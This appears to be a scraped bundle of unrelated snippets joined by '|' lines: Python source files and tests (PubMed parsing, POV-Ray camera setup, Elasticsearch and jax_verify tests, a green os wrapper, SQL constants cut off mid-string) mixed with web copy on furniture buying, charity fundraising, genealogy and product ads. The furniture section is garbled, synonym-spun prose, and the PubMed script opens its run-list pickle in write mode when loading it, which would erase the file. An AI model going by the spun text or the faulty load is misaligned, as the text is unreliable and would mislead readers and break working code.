chemicals_list.append(element.text)
except:
pass
#creates a list of keywords. each keyword is a tuple with
#a major minor marker
keywords = article.findAll('keyword')
keywords_list = []
for keyword in keywords:
keywords_list.append((keyword.text, keyword.attrs.values()[0]))
#not all journals have an issn, get text if it exists, pass if it doesn't
journal_id_issn = article.findChild('issn')
try:
journal_id_issn = journal_id_issn.text
except:
pass
#create dictionary
auth_articles[key][pub_id] = {'journal_id':journal_id_issn,
'keywords':keywords_list,
'mesh':mesh_terms_list,
'chemicals':chemicals_list,
'language':language,
'country':country,
'authors':authors_list,
'other_ids':other_ids_list,
'title':title,
'year':year
}
auth_articles_abs[key][pub_id] = abstract
return auth_articles, auth_articles_abs
#load in data files to run
data_list = []
data_files = os.listdir('.')
for f in data_files:
if 'investigator_dict_' in f:
data_list.append(f)
#list to keep track of which files have been run
run_files_list = []
#load pervious run files list
try:
run_files_list = pickle.load(open('processing_run_file_list.pkl', 'wb'))
except:
pass
#load in investigator mesh term dict
investigator_mesh_dict = pickle.load(open('investigator_mesh_dict.pkl', 'rb'))
#lowercase all mesh terms
for invest in investigator_mesh_dict:
investigator_mesh_dict[invest]['mesh'] = [x.lower() for x in investigator_mesh_dict[invest]['mesh']]
for f in data_list:
print f
if f not in run_files_list:
#load data to process
data = pickle.load(open( f, 'rb'))
#process data
auth_articles, auth_articles_abs = get_articles_data(data, investigator_mesh_dict)
if len(auth_articles) > 0:
pickle.dump(auth_articles, open('investigator_process/processed_' + f,'wb'))
pickle.dump(auth_articles_abs, open('investigator_process/abstracts_' + f,'wb'))
pickle.dump(run_files_list, open('processing_run_file_list.pkl', 'wb'))
del auth_articles
del auth_articles_abs
del data
run_files_list.append(f)
|
When you’ve got leather furniture, it is best to use proper leather-based conditioner on them. These liquids assist preserve leather oiled so that it stays supple and delicate. Leather-based conditioner can be found in house improvement stores and lots of leather-based furniture producers promote their own kits to make use of on their furniture. If leather-based is not properly conditioned, it may crack and become prone to different types of damage.
Used furniture is price investigating. Some used stuff is junk, however there are a lot of top quality items accessible. Make sure you study them closely for stains, tears and other imperfections. Be sure you raise cushions and close and open the doorways. If you’re buying a settee or chair, sit down on it to see how it feels. Check out all pieces of furniture that you are considering of buying. You need to thoroughly inspect every little element concerning the furniture. It’s essential to ensure it’s sturdy and does not have any harm that’s hidden. By turning furniture over, you’ll be able to verify for harm whereas seeing the labels from the manufacturer. These labels might assist you to understand what your furniture is worth.
When buying furniture, ensure you inspect the wood. It ought to be joined on the corners and ends fairly than nailed in or glued. It’s because joined wooden is sturdy and may stand up to more weight. Alternatively, wood that’s nailed in or glued isn’t very sturdy. Therefore, you would not want this furniture. Make the most of the information that has been offered to you here. If you happen to put it to use, you need to be able to furnish your house the way you want it. You will be able to make your private home look good and will probably be extra comfy to you since you’re in a position to put the information you realized right here into follow.
If it isn’t snug for you personally, you aren’t going to be completely satisfied.
Now your friends will praise your decor. They’ll look around with a smile upon their face. They’ll ask you just how you did all of it with out breaking a sweat. This text taught you what you have to know, now go store for furniture and get what you want. When shopping for furniture, take into account your needs for the long run as well. If your loved ones is increasing or you’ve lively children, it’s higher to get one thing that can take some abuse and is straightforward to wash. Delicate furniture just isn’t a sensible alternative for a family with kids so do not waste your money by shopping for one thing that won’t go well with the needs of your family.
Examine your thrift retailer for great bargains. You may be capable to find a hidden gem, since a lot of people toss furniture out for the trendiest things. You will discover nice items at a discount if you understand how to search. Choose impartial colors like tan, grey, black, or ecru for your living room furniture. You possibly can alter the colors and other decor of the room by altering accents, paint and other things. You can also change issues for just a bit bit of money.
When shopping for furniture to your lounge, get neutral colors. When selecting neutral colors, your entire look of the living room may be altered with new paint on the partitions, completely different throw pillows and new equipment. That way, seasonal adjustments can be made inexpensively. If you find yourself shopping for a sofa, you must just be sure you examine the materials and particularly the frame. If the couch you need has a hardwood frame, then it is advisable ask whether it has been kiln-dried or not. If it has, then it can final much longer with out warping, especially in the case of changes in humidity.
Do not forget your native thrift store when in search of furniture. Individuals often get rid of actually nice furniture at thrift stores because their fashion modifications or they’re transferring and can’t take items with them. The shops then sell them to folks like you for an excellent value. Simply make sure that to examine the pieces first so there isn’t a harm. Think about buying used furniture. It would really feel odd to purchase furniture that has already been lived on, however you will get a variety of great offers that means. When buying used furniture, just be sure to test for scratches, stains, and water damage. If the furniture continues to be aesthetically pleasing and sturdy, it would make a wonderful addition to your own home.
You can even add new wall items just to spruce up the house. Now you may have the arsenal of weapons you need to store smarter. For cupboard doorways, when you open them, they need to keep open.
|
"""
Defining the camera for Pov-Ray visualization
=============================================
In order to hide the obsecure pov-ray camera definition from users, here
functions are provided to translate more user-friendly inputs into the pov-ray
options for the camera.
In order to specify a camera, the parameters needed are
focus
The focus of the camera, where to look at. Given relative to the centre of
the molecule.
distance
The distance from the camera to the focus.
theta, phi
The inclination and azimuth angles for the camera, basically the camera to
going to be placed at the position with spherical coordinate (distance,
theta, phi) with the focus as the origin.
rotation
The rotation of the camera within the plane of picturing.
aspect_ratio
The aspect-ratio, default to 4:3.
"""
import math
import numpy as np
from .util import format_vector, terminate_program
def compute_pos_ops(focus, distance, theta, phi, rotation, aspect_ratio):
"""Computes the camera options related to position and orientation
The arguments are documented in the module definition. The result will be a
list of dictionaries with the option name under the tag ``op-name`` and the
option value under the tag ``op-value``. This can be direct used for
rendering the pov-ray input mustache template.
The location and focus of the camera is also returned for later usage when
defining the light source.
All the angles should be in radian.
"""
# pylint: disable=too-many-arguments
camera_pos = np.array([
math.sin(theta) * math.cos(phi), math.sin(theta) * math.sin(phi),
math.cos(theta)
]) * distance + focus
sky_vec = np.array([
math.sin(rotation), math.cos(rotation), 0.0
])
up_vec = np.array([0.0, 1.0, 0.0])
right_vec = np.array([-aspect_ratio, 0.0, 0.0])
ret_val = [
('location', format_vector(camera_pos)),
('up', format_vector(up_vec)),
('right', format_vector(right_vec)),
('sky', format_vector(sky_vec)),
('look_at', format_vector(focus))
]
return ([
{'op-name': i[0], 'op-value': i[1]}
for i in ret_val
], camera_pos, focus)
def gen_camera_ops(ops_dict, structure):
"""Generate the list for the camera options
This is a shallow wrapper of the above :py:func:`compute_pos_ops` where the
reading and verification of the user input is also performed.
:param ops_dict: The dictionary of options for the run
:param structure: The structure to plot
:returns: A list of dictionaries for rendering the camera in the pov-ray
mustache template. The resulted list can be assigned to a key in the
rendering dictionary. And the location and the focus of the camera is
also returned.
"""
# First we need to find the focus out
focus_inp = ops_dict['camera-focus']
focus = np.mean([
i.coord for i in structure.atms
], axis=0)
if len(focus_inp) == 3:
focus += np.array(focus_inp)
else:
terminate_program(
'Invalid camera-focus option: %r' % focus_inp
)
# Other parameters
distance = ops_dict['camera-distance']
to_radian = 2 * math.pi / 360.0
theta = ops_dict['camera-theta']
theta *= to_radian
phi = ops_dict['camera-phi']
phi *= to_radian
rotation = ops_dict['camera-rotation']
rotation *= to_radian
aspect_ratio = ops_dict['aspect-ratio']
return compute_pos_ops(
focus, distance, theta, phi, rotation, aspect_ratio
)
|
If you're in need of a strong dose of inspiration to kick-start your campaign, these 5 should do the trick.
Every keen fundraiser has aspirations of making a difference. But changing the world is no mean feat, when thousands of other likeminded do-gooders are striving to get their voice heard too. With creative and compelling campaigns aplenty – how can you compete? Here are some of the best inspirational fundraising campaigns to date.
It's easy to hit the like button for a cause on social media, but if that's the extent of your charitable doing, what difference will it make? This is what UNICEF Sweden asked its Facebook fans. In a hard-hitting online ad, the charity asked those who supported the charity on social media what action had they taken beyond liking the page. And as it turned out, very little.
Worryingly, in a survey of the Swedish public UNICEF found that "one in seven believed that liking an organisation on Facebook was equal to donating money," reports The Guardian.
Whilst 'likes' can help to raise awareness, it will always be donations that save lives. The statement at the heart of this campaign reads "Like us on Facebook, and we will vaccinate zero children against polio." Not many dare rebuke the power of social media, but in this case, UNICEF's stance against 'slacktivism' had a positive effect, raising enough money to vaccinate 637,324 children against polio.
Sometimes it feels like major charities steal all the limelight, leaving lesser-known causes to fight it out for public donations. However, back in 2014 the #ALSicebucketchallenge gained the progressive neurodegenerative disease, amyotrophic lateral sclerosis (or ALS) worldwide attention.
Again it's uncertain how this campaign originated, but the challenge of pouring 1, 2 even 3 buckets of ice over a person's head to raise cash for ALS really captured our imaginations.
Here we were sitting in our backyards, frozen to the bone, nominating more people to act, discuss and donate in the spirit of the #ALSicebucketchallenge. Even A-list celebs were jumping on board, including David Beckham, Lady Gaga and the likes.
Actress and avid disability rights campaigner, Shannon Murray sums up the beauty of the campaign by saying "Do you think Anna Wintour, Kate Moss and Victoria Beckham were talking about ALS a few months ago? No, I very much doubt it," emphasising what an incredible impact the #ALSicebucketchallenge had.
In an age of great beards, it’s easy to see why Movember always attracts so much interest. The concept is simple: grow a delightful moustache for the month of November in order to raise money and awareness for men's health issues, such as depression and prostate cancer.
Movemeber works because it's universal. Seeing men of all ages and hair-growing-capability ditch the razor in favour of a terrific tache brings all kinds of hilarity, and donations with it. There's minimum effort required; just the willingness to put up with a few giggles at your new whiskers. Not only that, it's a highly shareable campaign that sparks healthy competition – you call that a moustache?
Since 2003, Movemeber has raised a phenomenal £346 million, with no intention of stopping. Who knew funny facial hair was the secret to amazing fundraising?
Whilst the video is a tough watch, it gets the point across and to the right demographic. With almost 600 thousand subscribers to her YouTube channel, of which the majority are women; Refuge used their initiative and spoke to an active vlogging community that would listen. Viewers of this channel are highly likely to spread the word and encourage those who are suffering in silence to speak out.
Like Refuge, think carefully about your target audience and best avenues for communicating your campaign.
We just had to mention the #nomakeupselfie. It saw women (and men!) far and wide, reaching for their makeup wipes and baring all in the name of cancer. Better still, the campaign wasn't just an excuse for selfie-lovers to get snap-happy – money was raised too, an incredible £8 million in fact!
Better still, it wasn't a campaign instigated by Cancer Research UK themselves, but by social media users; those who'd been inspired by the bravery of cancer sufferers and wanted to show their support by posting selfies, make-up free. The concept was simple but effective, shareable yet empowering, and importantly, accessible to all.
Whilst the success of the #nomakeupselfie is hard to emulate, take inspiration. To generate interest and spread the word, #nomakeupselfie adopted a 3-stage process: take a photo, upload, text to donate. No busy forms to fill in, no JustGiving pages to scroll through, no credit card details passed; no fuss. Sometimes, simple works.
Choosing our top 5 inspirational fundraising campaigns wasn’t easy – we'd love to hear which stories stand out to you!
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import time
from django.test import TestCase
from .models import DummyModel, DummyESDocument, DummyESDocumentPresetIndex
class TestESDocumentTest(TestCase):
def setUp(self):
if DummyESDocument.index.exists():
DummyESDocument.index.delete()
DummyESDocument.index.create()
# install fixtures.
# Bulk update from model instances.
DummyModel.objects.create(key='quick', value='brown fox')
DummyModel.objects.create(key='jumps', value='over the')
DummyESDocument.rebuild_index()
# Update from single instance.
d3 = DummyModel.objects.create(key='lazy', value='dogs.')
DummyESDocument.rebuild_index_by_source_model(d3)
# Update from dict
DummyESDocument.update('id-manually', {'key': 'spam', 'value': 'eggs'})
# Wait commit
for i in range(10):
try:
result = DummyESDocument.objects.get(
{"term": {"value": "eggs"}})
break
except DummyESDocument.DoesNotExist:
time.sleep(0.3)
continue
self.assertEqual(result.key, 'spam')
def test_index_search(self):
# Simple query
results = DummyESDocument.objects.query({"match": {"key": "jumps"}})
result = list(results)[0]
self.assertEqual(result.value, 'over the')
# OR query
qs = DummyESDocument.objects.query(
{"bool": {
"should": [
{"match": {"value": "dogs"}},
{"match": {"value": "fox"}},
]}})
qs = qs.order_by({"key": "desc"})
result = qs[1]
self.assertEqual(result.value, "dogs.")
def tearDown(self):
# teardown ES index
DummyESDocument.index.delete()
class TestESDocumentPresetIndexTest(TestCase):
def setUp(self):
if DummyESDocumentPresetIndex.index.exists():
DummyESDocumentPresetIndex.index.delete()
DummyESDocumentPresetIndex.index.create()
DummyESDocumentPresetIndex.update(
'doc1', {
'key': 'doc1',
'text_k': "セキュリティのため、ローカルホストやローカルネットワークに"
"しかアクセスを許可していない Web アプリってあると思います。",
'text_b': "例えば、オフィスで起動している社内サーバ。Jenkinsとか。"
"Wikiとか。サーバ監視ツールとか。例えば、本番環境で起動"
"している Docker コンテナの中で動いているWebツールとか。",
})
DummyESDocumentPresetIndex.update(
'doc2', {
'key': 'doc2',
'text_k': "私の場合は、elasticsearch の head プラグインのWeb"
"管理画面を起動しているのですが、ローカルホストからしか"
"アクセスを許可してませんので、外からアクセスするには"
"一工夫必要です。",
'text_b': "クライアントは Firefox に入ってますし、サーバは OpenSSH "
"に組み込まれていますので、別途ソフトウェアのインストールは"
"不要です。",
})
# Simple Query (and wait commit) (OMG)
for i in range(10):
try:
result = DummyESDocumentPresetIndex.objects.get(
{"term": {"key": "doc2"}})
break
except DummyESDocumentPresetIndex.DoesNotExist:
time.sleep(0.3)
continue
self.assertIn('不要です。', result.text_b)
def test_index_kuromoji_1(self):
results = DummyESDocumentPresetIndex.objects.query(
{"match": {"text_k": "起動"}})
r = list(results)
self.assertEqual(len(r), 1)
self.assertEqual(r[0].key, 'doc2')
def test_index_kuromoji_2(self):
results = DummyESDocumentPresetIndex.objects.query(
{"match": {"text_k": "ネットワーク"}})
r = list(results)
self.assertEqual(len(r), 1)
self.assertEqual(r[0].key, 'doc1')
def test_index_bigram_1(self):
results = DummyESDocumentPresetIndex.objects.query(
{"match": {"text_b": "ソフトウ"}})
r = list(results)
self.assertEqual(len(r), 1)
self.assertEqual(r[0].key, 'doc2')
def test_index_bigram_2(self):
results = DummyESDocumentPresetIndex.objects.query(
{"match": {"text_b": "視ツ"}})
r = list(results)
self.assertEqual(len(r), 1)
self.assertEqual(r[0].key, 'doc1')
def test_index_bigram_3(self):
results = DummyESDocumentPresetIndex.objects.query(
{"match": {"text_b": "Firefoxサーバ"}})
list(results)
# r = list(results)
# len(r) がここで0にならないといけない。が、なってない
# 要 Elasticsearchの理解
# self.assertEqual(len(r), 0)
def tearDown(self):
DummyESDocumentPresetIndex.index.delete()
|
Braided nylon build makes for an unprecedentedly tough cable you can tow a car with.
Bulletproof fiber core ensures a 10x higher longevity than conventional cables.
Seamlessly import and export all files at your smartphone’s maximum transfer speed.
|
# -*- coding: utf-8 -*-
"""
Created on Sun Jan 31 10:45:25 2016
@author: spatchcock
"""
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.animation as animation
import matplotlib.colors as colors
#%%
def two_d_gauss(x, y, M, meanx, meany, stdevx, stdevy):
g = np.zeros((np.size(x), np.size(y)))
for i in np.arange(0, np.size(x), 1):
for j in np.arange(0, np.size(y), 1):
g[i][j] = (M/(2*np.pi*stdevx*stdevy)) * np.exp(-((((x[i] - meanx)**2.0)/(2.0*(stdevx**2.0))) + (((y[j] - meany)**2.0)/(2.0*(stdevy**2.0)))))
return g
### Invoke model timestep and replot data on each iteration
#def animate(i):
# data = two_d_gauss(x, y, M, meanx[i], meany[i], stdevx[i], stdevy[i])
#
# im.set_array(np.ravel(data)
# step_text.set_text('iter: %.1f' % i)
# plt.draw()
#%%
t = np.arange(1,1000,1)
domain_range = 100
x = np.arange(-domain_range/2,domain_range/2,1)
y = np.arange(-domain_range/2,domain_range/2,1)
u = 0.3*np.sin(2*np.pi*t/50)
v = 0.0
D_x = 0.5
D_y = 0.1
startx = 0.0
starty = 0.0
M = 1000
meanx = startx + u*t
stdevx = np.sqrt(2.0*D_x*t)
meany = starty + v*t
stdevy = np.sqrt(2.0*D_y*t)
#%%
X, Y = np.meshgrid(x, y)
Z = two_d_gauss(x, y, M, startx, starty, stdevx[0], stdevy[0])
Z_max = np.max(Z)
norm=colors.Normalize(vmin=0.,vmax=Z_max/10.0)
fig = plt.figure()
ims = []
ims.append((plt.pcolor(X,Y,Z, cmap='Reds', norm=norm),))
for ts in np.arange(2,100,1):
Z = two_d_gauss(x, y, M, meanx[ts], meany[ts], stdevx[ts], stdevy[ts])
ims.append((plt.pcolor(X,Y,Z, cmap='Reds', norm=norm),))
#%%
### Plot ###
im_ani = animation.ArtistAnimation(fig, ims, interval=50, repeat_delay=500, blit=True)
#im_ani.save('im.mp4', metadata={'artist':'Guido'})
plt.show()
|
This is a placeholder page for Dawn Ellington, which means this person is not currently on this site. We do suggest using the tools below to find Dawn Ellington.
You are visiting the placeholder page for Dawn Ellington. This page is here because someone used our placeholder utility to look for Dawn Ellington. We created this page automatically in hopes Dawn Ellington would find it. If you are not Dawn Ellington, but are an alumni of Wando High School, register on this site for free now.
|
# coding=utf-8
# Copyright 2020 The jax_verify Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for Interval Bound Propagation."""
import functools
from absl.testing import absltest
from absl.testing import parameterized
import haiku as hk
import jax
import jax.numpy as jnp
import jax_verify
class IBPTest(parameterized.TestCase):
def assertArrayAlmostEqual(self, lhs, rhs):
diff = jnp.abs(lhs - rhs).max()
self.assertAlmostEqual(diff, 0.)
def test_linear_ibp(self):
def linear_model(inp):
return hk.Linear(1)(inp)
z = jnp.array([[1., 2., 3.]])
params = {'linear':
{'w': jnp.ones((3, 1), dtype=jnp.float32),
'b': jnp.array([2.])}}
fun = functools.partial(
hk.without_apply_rng(hk.transform(linear_model, apply_rng=True)).apply,
params)
input_bounds = jax_verify.IntervalBound(z - 1., z + 1.)
output_bounds = jax_verify.interval_bound_propagation(fun, input_bounds)
self.assertAlmostEqual(5., output_bounds.lower)
self.assertAlmostEqual(11., output_bounds.upper)
def test_conv1d_ibp(self):
def conv1d_model(inp):
return hk.Conv1D(output_channels=1, kernel_shape=2,
padding='VALID', stride=1, with_bias=True)(inp)
z = jnp.array([3., 4.])
z = jnp.reshape(z, [1, 2, 1])
params = {'conv1_d':
{'w': jnp.ones((2, 1, 1), dtype=jnp.float32),
'b': jnp.array([2.])}}
fun = functools.partial(
hk.without_apply_rng(hk.transform(conv1d_model, apply_rng=True)).apply,
params)
input_bounds = jax_verify.IntervalBound(z - 1., z + 1.)
output_bounds = jax_verify.interval_bound_propagation(fun, input_bounds)
self.assertAlmostEqual(7., output_bounds.lower)
self.assertAlmostEqual(11., output_bounds.upper)
def test_conv2d_ibp(self):
def conv2d_model(inp):
return hk.Conv2D(output_channels=1, kernel_shape=(2, 2),
padding='VALID', stride=1, with_bias=True)(inp)
z = jnp.array([1., 2., 3., 4.])
z = jnp.reshape(z, [1, 2, 2, 1])
params = {'conv2_d':
{'w': jnp.ones((2, 2, 1, 1), dtype=jnp.float32),
'b': jnp.array([2.])}}
fun = functools.partial(
hk.without_apply_rng(hk.transform(conv2d_model, apply_rng=True)).apply,
params)
input_bounds = jax_verify.IntervalBound(z - 1., z + 1.)
output_bounds = jax_verify.interval_bound_propagation(fun, input_bounds)
self.assertAlmostEqual(8., output_bounds.lower)
self.assertAlmostEqual(16., output_bounds.upper)
def test_relu_ibp(self):
def relu_model(inp):
return jax.nn.relu(inp)
z = jnp.array([[-2., 3.]])
input_bounds = jax_verify.IntervalBound(z - 1., z + 1.)
output_bounds = jax_verify.interval_bound_propagation(relu_model,
input_bounds)
self.assertArrayAlmostEqual(jnp.array([[0., 2.]]), output_bounds.lower)
self.assertArrayAlmostEqual(jnp.array([[0., 4.]]), output_bounds.upper)
def test_softplus_ibp(self):
def softplus_model(inp):
return jax.nn.softplus(inp)
z = jnp.array([[-2., 3.]])
input_bounds = jax_verify.IntervalBound(z - 1., z + 1.)
output_bounds = jax_verify.interval_bound_propagation(softplus_model,
input_bounds)
self.assertArrayAlmostEqual(jnp.logaddexp(z - 1., 0),
output_bounds.lower)
self.assertArrayAlmostEqual(jnp.logaddexp(z + 1., 0),
output_bounds.upper)
if __name__ == '__main__':
absltest.main()
|
The new year is now launched. The Three Kings have visited the Child, observant Christians are packing away the Christmas decorations, and most new year’s resolutions are facing reality.
Monastic spiritual writers all agree that this is a foundational principle for our life with God. The more you have, the more there will be between you and God.
|
#!/usr/bin/env python
from pyvultr.meta import (__version__, __description__, __author__,
__author_email__, __url__)
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
packages = [
'pyvultr',
'pyvultr.cmd',
'pyvultr.lib'
]
requires = open("requirements/base.txt").read().split()
setup(
name='pyvultr',
version=__version__,
description=__description__,
author=__author__,
author_email=__author_email__,
url=__url__,
packages=packages,
package_data={'': ['LICENSE']},
package_dir={'pyvultr': 'pyvultr'},
include_package_data=True,
install_requires=requires,
license=open('LICENSE').read(),
zip_safe=False,
classifiers=(
'Development Status :: 4 - Beta',
'Intended Audience :: Developers',
'Natural Language :: English',
'Programming Language :: Python',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.2',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: Implementation :: PyPy',
),
)
|
Over the last 50 years, ARA has continually evolved to maintain its reputation for providing the benchmark for the accurate and efficient production of high accuracy aerodynamic data required to support development programs. ARA has been involved in the development of every major European civil transport aircraft, including Concorde, as well as a number from the Americas and the Far East.
Our customers have placed the highest possible demands on ARA for the accurate measurement of drag throughout the aircraft operating range and for the development of sophisticated data reduction techniques to correct the measured data to ‘free-air’ conditions. ARA’s continued commitment to respond to these demands has led to the development of fully validated, quality-controlled testing techniques that collectively address the performance of commercial aircraft over their complete operational envelope.
Our highly experienced test teams deliver excellent test program management combined with rapid model reconfiguration to a superb standard to provide our customers with an efficient and productive service which provides excellent value. The security of the model and all data is assured for every customer.
|
from __future__ import print_function
from sys import stdin, argv, exit
import bz2
import random
if len(argv) not in [4, 5]:
print("python %s genFile loci maxLoci [startLoci]" % (argv[0],))
exit(-1)
genFile = argv[1]
nloci = int(argv[2])
maxLoci = int(argv[3])
startLoci = int(argv[4]) if len(argv) == 5 else 0
loci = [x + startLoci for x in random.sample(list(range(maxLoci)), nloci)]
l = stdin.readline()
gens = []
currGen = 0
# get individuals per generation
indivs = set()
while l != "":
l = l.rstrip()
point = l.find(" ")
gen = l[:point]
genIndivs = eval(l[point:])
indivs = indivs.union(genIndivs)
gens.append(genIndivs)
l = stdin.readline()
# get genetic data
f = bz2.open(genFile, 'rt')
l = f.readline()
genetics = {}
while l != "":
toks = l.rstrip().split(" ")
id = int(float(toks[0]))
gen = int(float(toks[1]))
myAlleles = toks[2:]
if id in indivs:
myloci = []
for locus in loci:
myloci.append(myAlleles[locus])
genetics[id] = myloci
l = f.readline()
f.close()
# print >>stderr, genetics.keys()
# dump genepop file
print("lala land")
for locus in loci:
print("l" + str(locus))
for indivs in gens:
print("Pop")
for indiv in indivs:
print("i" + str(indiv) + ",", end=' ')
print(" ".join(genetics[indiv]))
|
CACO3-YBV is a leading Vietnam calcium carbonate supplier of outstanding quality by using good raw material and advanced technology.
CACO3-YBV is founded and developed in accordance with the philosophy “Creating-sustainable value for customers and the community”. With the goal of meeting all our customers' needs and expectations, CACO3-YBV aim to maintain the highest standards of quality and timely delivery for our calcium carbonate products in both domestic and foreign markets.
Application: Ingredient for white cement, environment processing and ingredient for making poultry feed.
CaCO3-YBV company supplies Calcium Carbonate Granule.
CACO3-YBV supply uncoated calcium carbonate powder (6 regular particle size)& Coated acid stearic calcium carbonate powder (3 regular particle size) as per customer’s order.
CACO3YBV provides completely Calcium Carbonate Powder (CaCO3) product catalogue used for the plastic applications. Calcium Carbonate Powder (CaCO3) is used to replace the expensive plastic without bad effect in its mechanical strength.
|
#
# Evy - a concurrent networking library for Python
#
# Unless otherwise noted, the files in Evy are under the following MIT license:
#
# Copyright (c) 2012, Alvaro Saurin
# Copyright (c) 2008-2010, Eventlet Contributors (see AUTHORS)
# Copyright (c) 2007-2010, Linden Research, Inc.
# Copyright (c) 2005-2006, Bob Ippolito
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
os_orig = __import__("os")
import errno
socket = __import__("socket")
from evy.support import get_errno
from evy.io.pipes import GreenPipe
from evy.green import threads as greenthread
from evy import hubs
from evy.patcher import slurp_properties
__all__ = os_orig.__all__
__patched__ = ['fdopen', 'read', 'write', 'wait', 'waitpid']
slurp_properties(os_orig, globals(),
ignore = __patched__, srckeys = dir(os_orig))
def fdopen (fd, *args, **kw):
"""
fdopen(fd [, mode='r' [, bufsize]]) -> file_object
Return an open file object connected to a file descriptor."""
if not isinstance(fd, int):
raise TypeError('fd should be int, not %r' % fd)
try:
return GreenPipe(fd, *args, **kw)
except IOError, e:
raise OSError(*e.args)
__original_read__ = os_orig.read
def read (fd, n):
"""
read(fd, buffersize) -> string
Read a file descriptor."""
while True:
try:
return __original_read__(fd, n)
except (OSError, IOError), e:
if get_errno(e) != errno.EAGAIN:
raise
except socket.error, e:
if get_errno(e) == errno.EPIPE:
return ''
raise
hubs.trampoline(fd, read = True)
__original_write__ = os_orig.write
def write (fd, st):
"""
write(fd, string) -> byteswritten
Write a string to a file descriptor.
"""
while True:
try:
return __original_write__(fd, st)
except (OSError, IOError), e:
if get_errno(e) != errno.EAGAIN:
raise
except socket.error, e:
if get_errno(e) != errno.EPIPE:
raise
hubs.trampoline(fd, write = True)
def wait ():
"""
wait() -> (pid, status)
Wait for completion of a child process.
"""
return waitpid(0, 0)
__original_waitpid__ = os_orig.waitpid
def waitpid (pid, options):
"""
waitpid(...)
waitpid(pid, options) -> (pid, status)
Wait for completion of a given child process.
"""
if options & os_orig.WNOHANG != 0:
return __original_waitpid__(pid, options)
else:
new_options = options | os_orig.WNOHANG
while True:
rpid, status = __original_waitpid__(pid, new_options)
if rpid and status >= 0:
return rpid, status
greenthread.sleep(0.01)
# TODO: open
|
This past week, I visited with Chris Willis, one of the vice presidents at work about the content users are creating on Footnote. They are writing about all types of historical information ranging from love letters written in World War II, to the hanging of witches in Salem.
I am particularly interested in the latter topic because one of the 'witches' was my direct ancestor and two others are 9th great aunts.
Why do people write about their ancestors and historical events? It is because we are fascinated with the events in their lives both within their families and in the society and world where and when they lived.
Twelve years ago, my wife and I spent several days in Salem, Massachusetts reading original documents about my great grandmother, Susanna North Martin's -- trial for being a 'witch'.
We toured the city and surrounding area locating the homes and headstones of our ancestors. We continued north to Stewartstown, New Hampshire where another of my ancestral families lived for over 100 years and fell in love with the location and the scenery.
While in Stewartstown, we found the old family cemetery and took photos of all of the headstones and copied the inscriptions on them knowing that most of them wouldn't be readable in the photos. A favorite memory was driving the 100 feet across the Connecticut 'River' into Vermont for a dinner that was every bit as good as those that 'Mom' cooked. Of course it was good; the chef was a 'young' lady with a dozen grandchildren and everyone in the place called her 'Mom'.
We drove south the next morning to Plymouth, Massachusetts, where my ancestral families had lived for almost 300 years, since 18 of my grandparents stepped off the Mayflower. We found headstones for so many of my ancestors on Burial Hill in Plymouth, that it felt like a family reunion. Connie took a photo of me standing on the front steps of the Drew home at 51 Pleasant Street which was built by my 3rd great grandfather and housed the family for four generations thereafter. When we got home I looked through some photos that I'd found in the Calaveras County Historical Society in California that showed my great grandaunt standing just a few feet away from the location where I had stood on the steps of the house. The only differences were minor cosmetics on the fascia of the home, over 100 years time and the ugly hat she wore. Well, maybe her black dress was a little different too.
We found the hill in Salem that was used when they hung grandma Susanna. We drank water from the spring Seth and Azuba Tirrill used for their water supply in Stewartstown. We walked to the homes, business locations and graves of hundreds of my ancestors in and around Plymouth. We stood on the hill where many of my Mayflower ancestors were buried during that first winter and looked out over Plymouth harbor. We felt our ancestors with us at every stop .... at every ancestral home .... in every cemetery .... in every village green that we visited.
Again, do I write about them? Yes, I do. I now 'know' them much more than ever before. I love them.
Do you write about your ancestors? Sure you do. If not on paper then in your minds and hearts. Take the time to go and visit old family homesteads, towns, and burial grounds soon. Keep your minds, eyes and ears open and let the spirits of your ancestors take you on a tour of where they lived in the world. You'll always be happy you made the trip.
For now, start writing about growing up at your parents house. Write about grandma, grandpa and all your crazy aunts and uncles. Find the stories, events, photos and documents associated with their lives. They will become 'real' people to your children and grandchildren as seen through your eyes and in the records of their lives.
Maybe you'll be 'real' to your great grandchildren one day too .... because someone wrote about you and your life, walked where you walked and smelled the apple blossoms there in the spring.
|
# -*- coding: utf-8 -*-
"""
Functions and constants, which can be used for work with Token models.
"""
SQL_CREATE_TOKEN_TABLE = """
CREATE TABLE IF NOT EXISTS aiorest_auth_token
(id INTEGER PRIMARY KEY NOT NULL,
name CHAR(64) NOT NULL, -- name of key (admin, api, etc.)
token TEXT NOT NULL,
created DATETIME DEFAULT CURRENT_TIMESTAMP NOT NULL,
expired DATETIME DEFAULT NULL -- for some tokens it doesn't necessary
);
"""
SQL_TOKEN_GET = """
SELECT `id`, `name`, `token`, `created`, `expired`, `user_id`
FROM aiorest_auth_token
WHERE token=?;
"""
SQL_TOKEN_GET_BY_TOKEN_USERNAME = """
